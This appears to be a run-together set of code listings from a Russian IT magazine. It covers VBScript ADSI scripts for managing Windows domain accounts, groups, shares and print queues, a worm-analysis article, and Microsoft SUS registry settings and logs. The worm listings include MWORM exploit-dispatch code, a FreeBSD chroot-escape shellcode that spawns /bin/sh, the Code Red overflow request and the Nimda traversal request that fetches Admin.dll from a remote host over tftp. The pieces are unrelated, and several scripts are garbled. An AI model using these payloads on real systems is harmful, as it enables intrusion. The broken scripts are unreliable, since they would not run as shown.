temp Пример 7 Container="Value" Set obj=GetObject("WinNT://"& Container) For Each element In obj temp = temp + element.name + "; " Next MsgBox temp Пример 8: Определение всех учетных записей пользователей, входящих в домен Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) obj.filter=array("user") For Each element In obj temp =temp+element.name+"; " Next Пример 9 Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) NewUser="UserName" Set CU=obj.Create("User",NewUser) CU.SetInfo Пример 10. Создания локальной группы с именем GroupName Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) NewGroup="GroupName" Set CG=obj.Create("Group",NewGroup) CG.Put "groupType", 4 CG.SetInfo Пример 11. Создания учетной записи компьютера с именем ComputerName Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) NewComputer="ComputerName" Set CC=obj.Create("Computer", UCase(NewComputer)) CC.SetInfo Set CAccount= GetObject("WinNT://" & Domain_Name&"/"& NewComputer&"$,user") CAccount.Put "UserFlags", (CAccount.Get("UserFlags") Or &H1000) CAccount.SetPassword(LCase(NewComputer)) CAccount.SetInfo Пример 12 Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" & Domain_Name) ClassName="____" NameOfObject="____" Set CC=obj.Delete (ClassName, NameOfObject) Пример 13 Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next OldUserName="____" NewUserName="____" Set obj=GetObject("WinNT://" & Domain_Name&"/"& OldUserName&",user") obj.MoveHere(User.AdsPath, NewUserName) obj.Nothing Пример 14. Чтения параметров подкласса User Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next Set UserName="Value" Set element=GetObject("WinNT://" & DomainName & "/"& UserName) u1="FullName: "+ cstr(element.FullName)+chr(13) u2="UserFlags: "+ cstr(element.UserFlags)+chr(13) u3="LoginScript: "+ cstr(element.LoginScript)+chr(13) u4="MaxBadPasswordsAllowed: "+ cstr(element.MaxBadPasswordsAllowed)+chr(13) u5="PasswordHistoryLength: "+ cstr(element.PasswordHistoryLength)+chr(13) u6="AutoUnlockInterval: "+ cstr(element.AutoUnlockInterval)+chr(13) u7="PasswordAge: "+ cstr(element.PasswordAge)+chr(13) u8="PasswordExpired: "+ cstr(element.PasswordExpired)+chr(13) temp="" temp=u1+u2+u3 Пример 15 Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next Set UserName="Value" temp="" Set element=GetObject("WinNT://" & DomainName & "/"& UserName) flag=element.Get("UserFlags") if (flag AnD &H10000)<>0 then temp="Флаг установлен" else temp="Флаг не установлен" end if MsgBox temp Пример 16 Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next ADS_UF_DONTEXPIREPASSWD=&H0040 Set UserName="Value" Set element=GetObject("WinNT://" & DomainName & "/"& UserName) element.put "userFlags", element.Get("UserFlags") Xor ADS_UF_DONTEXPIREPASSWD element.setinfo MsgBox element.get("UserFlags") Пример 17. Добавление учетной записи Value_Name в группу Value_Group Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next Set UserName="Value_Name" Set GroupName="Value_Group" Set element_user=GetObject("WinNT://" & DomainName & "/"& UserName & ", user") Set element_group=GetObject("WinNT://" & DomainName & "/"& GroupName & ", group") element_group.Add(element_user.ADsPath) element_group.SetInfo Пример 18 Set obj=GetObject("WinNT:") For Each str In obj DomainName=str.Name Next Set GroupName="Value_Group" Set element_group=GetObject("WinNT://" & DomainName & "/"& GroupName & ", group") For each obj inGroup.Members temp=temp+Member.Name Next MsgBox temp Пример 19 Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next UserName="Administrator" Set element_user=GetObject("WinNT://" & DomainName & "/"& UserName) Set obj=GetObject("WinNT://" & DomainName) obj.filter=array("group") For Each element In obj Set element_group=GetObject("WinNT://" & DomainName& "/"& element.name ) if element_group.IsMember ї (element_user.ADsPath)="True" then temp=temp+ element.name & chr(13) end if Next MsgBox temp Пример 20 Set obj=GhpLaserJetObject("WinNT://" & DomainName & "/"& UserName ) For Each element In obj.Groups temp = temp + element.name + chr(13) Next Пример 21 On error Resume Next Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set obj=GetObject("WinNT://" Domain_Name &" /LanmanServer,fileservice") For Each element In obj temp=temp+element.Name+chr(13) msgbox temp Set obj=GetObject(«WinNT://PCName/PrinterShareName» Пример 22. Использование одной из команд Set pq = GetObject("WinNT://" & server_name & "/" & shares_enum) pq.purge Пример 24 Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set PC_Name="_______" Set Share_Name="_______" Set element=GetObject("WinNT://" & Domain_Name &"/" PC_Name &"/" & Share_Name) flag=element.status MsgBox flag Пример 25. Чтения полей очереди Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Shares_Name="Value" Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name) For Each printJob In pq.PrintJobs status_pre=printJob.status select case status_pre case "0" status_="Нормально" case "1" status_="Пауза" case "18" status_="Ошибка" end select summary = summary & ”Номер докумета: ” & number_docum & chr(13) & chr(13) & ”Статус: ” & status_pre & chr(13) & ”Приоритет: ” & printJob.Description & chr(13) & ”Пользователь: ” & printJob.User & chr(13) & ”Всего стр. ” & printJob.TotalPages & chr(13) & ”Размер, (Mb) ” & round(printJob.Size/1000000,2) & chr(13) & ”Статус: ” & status_pre & chr(13) & chr(13) Next Wscript.Echo summary Пример 26 On Error Resume Next Set objDomain=GetObject("WinNT: ") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Shares_Name="Value" Set pq = GetObject("WinNT://" & Domain_Name & "/" & Shares_Name) For Each printJob In pq.PrintJobs If (number_docum=2) then printJob.remove end if Next Пример 27 Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set PC_Name="_______" Set Share_Name="_______" Set New_Description_Name="_______" Set element=GetObject("WinNT://" & Domain_Name &"/" & PC_Name &"/LanmanServer/" & Share_Name) temp="Old Description: " + Element.Description+chr(13) Element.Description = New_Description_Name Element.SetInfo temp="New Description " + Element.Description msgbox temp Пример 28. Создание ресурса Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set PC_Name="1000pc" Set Share_Name="Share1" Set Folder_Path="c:\Folder1" Set Description_Name="Shared Folder #1" Set object=GetObject("WinNT://" & Domain_Name &"/" & PC_Name &"/LanmanServer") Set element=object.Create("fileshare", Share_Name) element.Path= Folder_Path element.Description= Description_Name element.MaxUserCount =10 element.SetInfo Пример 29. Удаление ресурса Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set PC_Name="1000pc" Set Share_Name="Share1" Set Folder_Path="c:\Folder1" Set Description_Name="Shared Folder #1" Set object=GetObject("WinNT://" & Domain_Name &"/" & PC_Name &"/LanmanServer") Call object.Delete("fileshare", Share_Name) Пример 30. Связывание служб On Error Resume Next Set objDomain=GetObject("WinNT:") For Each domain_element In objDomain Domain_Name= domain_element.Name Next Set Service_Name="______" Set PC_Name="______" Set object=GetObject("WinNT://" & Domain_Name &"/" & PC_Name &",Computer") Set Service=object.GetObject("service", Service_Name) Flag1=0 Flag2=0 Dim New_Array() ' Объявление пустого массива Set Dependency_Name="_______" If IsArray(Service.Dependencies)=True Then For Each obj in Service.Dependencies ' Определение верхней границы массива Dependencies i=Ubound(New_Array)+1 ' Переопределение размера массива New_Arrray ReDim Preserve New_Array (i) New_Array(i)=obj If obj="" then Flag1=1 end if If obj= Dependency_Name then Flag2=1 end if if Flag1=1 then Service.dependencies=Array(Dependency_Name) Service.SetInfo Else If Flag2<>1 i=Ubound(New_Array)+1 ReDim Preserve New_Array (i) New_Array(i)= Dependency_Name Service.dependencies= New_Array Service.SetInfo End if End if Else If Service.dependencies <> Dependency_Name then Service.dependencies = array(Service.dependencies, ї Dependency_Name) Service.SetInfo End if End if Жизненный цикл червей Крис Касперски Листинг 1. Пять голов червя MWORM, поражающие множество уязвимых сервисов. Перед нами «шея» червя, которая, собственно, все эти головы и держит, совершающая ими вращательные движения и при необходимости изрыгающая огонь и пламя... switch(Iptr->h_port) { case 80: //web hole Handle_Port_80(sock,inet_ntoa(sin.sin_addr),Iptr); break; case 21: // ftp hole if (Handle_Port_21(sock,inet_ntoa(sin.sin_addr),Iptr)) { pthread_mutex_lock(&ndone_mutex); wuftp260_vuln(sock,inet_ntoa(sin.sin_addr),Iptr); pthread_mutex_unlock(&ndone_mutex); } break; case 111: //rpc hole if (Handle_Port_STATUS(sock,inet_ntoa(sin.sin_addr),Iptr)) { pthread_mutex_lock(&ndone_mutex); // rpcSTATUS_vuln(inet_ntoa(sin.sin_addr), Iptr); pthread_mutex_unlock(&ndone_mutex); } break; case 53: //linux bind hole // Check_Linux86_Bind(sock,inet_ntoa(sin.sin_addr),Iptr->h_network); break; case 515: //linux lpd hole // Get_OS_Type(Iptr->h_network,inet_ntoa(sin.sin_addr)); // Check_lpd(sock,inet_ntoa(sin.sin_addr),Iptr->h_network); break; default: break; } Листинг 2. Одна из голов червя и ее дизассемблерный листинг ниже /* break chroot and exec /bin/sh - dont use on an unbreakable host like 4.0 */ unsigned char x86_fbsd_shell_chroot[] = "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80" "\x31\xc0\x99" "\x6a\x68\x89\xe3\x50\x53\x53\xb0\x88\xcd" "\x80\x54\x6a\x3d\x58\xcd\x80\x66\x68\x2e\x2e\x88\x54" "\x24\x02\x89\xe3\x6a\x0c\x59\x89\xe3\x6a\x0c\x58\x53" "\x53\xcd\x80\xe2\xf7\x88\x54\x24\x01\x54\x6a\x3d\x58" "\xcd\x80\x52\x68\x6e\x2f\x73\x68\x44\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\x52\x51\x53\x53" "\x6a\x3b\x58\xcd\x80\x31\xc0\xfe\xc0\xcd\x80"; Листинг 3. Дизассемблерный листинг одной из голов червя MWORM .data:0804F7E0 x86_fbsd_shell_chroot: .data:0804F7E0 xor eax, eax .data:0804F7E2 push eax .data:0804F7E3 push eax .data:0804F7E4 push eax .data:0804F7E5 mov al, 7Eh ; LINUX - sys_sigprocmask .data:0804F7E7 int 80h .data:0804F7E9 xor eax, eax .data:0804F7EB cdq .data:0804F7EC push 68h .data:0804F7EE mov ebx, esp .data:0804F7F0 push eax .data:0804F7F1 push ebx .data:0804F7F2 push ebx .data:0804F7F3 mov al, 88h ; LINUX - sys_personality .data:0804F7F5 int 80h .data:0804F7F7 push esp .data:0804F7F8 push 3Dh .data:0804F7FA pop eax ; LINUX - sys_chroot .data:0804F7FB int 80h .data:0804F7FD push small 2E2Eh .data:0804F801 mov [esp+2], dl .data:0804F805 mov ebx, esp .data:0804F807 push 0Ch .data:0804F809 pop ecx .data:0804F80A mov ebx, esp .data:0804F80C ; CODE XREF: .data:0804F813[]j .data:0804F80C loc_804F80C: .data:0804F80C push 0Ch .data:0804F80E pop eax .data:0804F80F push ebx .data:0804F810 push ebx ; LINUX - sys_chdir .data:0804F811 int 80h .data:0804F813 loop loc_804F80C .data:0804F815 mov [esp+1], dl .data:0804F819 push esp .data:0804F81A push 3Dh .data:0804F81C pop eax ; LINUX - sys_chroot .data:0804F81D int 80h .data:0804F81F push edx .data:0804F820 push 68732F6Eh .data:0804F825 inc esp .data:0804F826 push 6E69622Fh .data:0804F82B mov ebx, esp .data:0804F82D push edx .data:0804F82E mov edx, esp .data:0804F830 push ebx .data:0804F831 mov ecx, esp .data:0804F833 push edx .data:0804F834 push ecx .data:0804F835 push ebx .data:0804F836 push ebx .data:0804F837 push 3Bh .data:0804F839 pop eax ; LINUX - sys_olduname .data:0804F83A int 80h .data:0804F83C xor eax, eax .data:0804F83E inc al ; LINUX - sys_exit .data:0804F840 int 80h Листинг 4. Голова червя Code Red, приходящая в первом TCP-пакете GET /default. ida? XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXXXXXXXXXXXXXXXXXXXXXXXX %u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00= a HTTP 1.0 Content- type: text/ xml, Content- length: 3379 Листинг 5. Голова червя Nimda GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/ c+tftp%20-i%20XXX.XXX.XXX.XXX%20GET%20Admin.dll%20c:\Admin.dll Уязвимости в MS Windows В поисках решения проблемы по SUSекам Microsoft Михаил Платов HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate WUServer=”http://<Имя сервера SUS>” WUStatusServer=”http://<Имя сервера SUS>” HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU UseWUServer – использовать (1) или нет (0) SUS-сервер. HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU ScheduledInstallDay – позволяет задать день недели (0-7), в который будет осуществляться установка. ScheduledInstallTime – час (1-24), в который будет осуществляться установка. AUOptions – выбор режима установки (2 – уведомить о доступных уведомлениях, 3 – скачать и уведомить перед установкой, 4 – скачать и установить согласно расписанию). NoAutoUpdate – 1 – включить автообновление, 0 – выключить. RescheduleWaitTime – этот ключ используется в случае, если клиент не смог установить обновление в заданное время. Задает время в минутах (1-60), в течение которого будет предпринято следующее обращение к серверу. NoAutoRebootWithLoggedOnUsers – 1 – пользователь может отменить перезагрузку, вызванную обновлением. 2003-12-28 14:17:07 11:17:07 Success IUENGINE Determining machine configuration 2003-12-28 14:17:07 11:17:07 Success IUENGINE Querying software update catalog from http://SUSserver/autoupdate/getmanifest.asp 2003-12-29 10:11:55 07:11:55 Success IUENGINE Install started 2003-12-29 10:13:28 07:13:28 Success IUENGINE See iuhist.xml for details: Install finished 2002-03-25 19:08:48 127.0.0.1 – 127.0.0.1 80 POST /autoupdate/getmanifest.asp - 200 Mozilla/4.0+(compatible;+Win32;+WinHttp.WinHttpRequest.5) 2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 HEAD /content/q828750_6f9e9c85178a4c12d6168f6ee4dbe98.exe - 200 Microsoft+BITS/6.2 2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 HEAD /content/q824145_76dd839870a655458701c0b937b91d6.exe - 200 Microsoft+BITS/6.2 2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 HEAD /content/WindowsXP-KB828035-x86- ENU_d911770163b58b6809b00f033230b46.exe - 200 Microsoft+BITS/6.2 2003-12-29 07:07:01 192.168.0.10 - 192.168.0.5 80 HEAD /content/WindowsXP-KB825119-x86- ENU_1b9f23b64b002d1e9d1eaba62f5f8fd.exe - 200 Microsoft+BITS/6.2 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WindowsUpdate\Auto Update \autoupdate\administration \autoupdate\dictionaries \Shared \Content\EULA \Content\RTF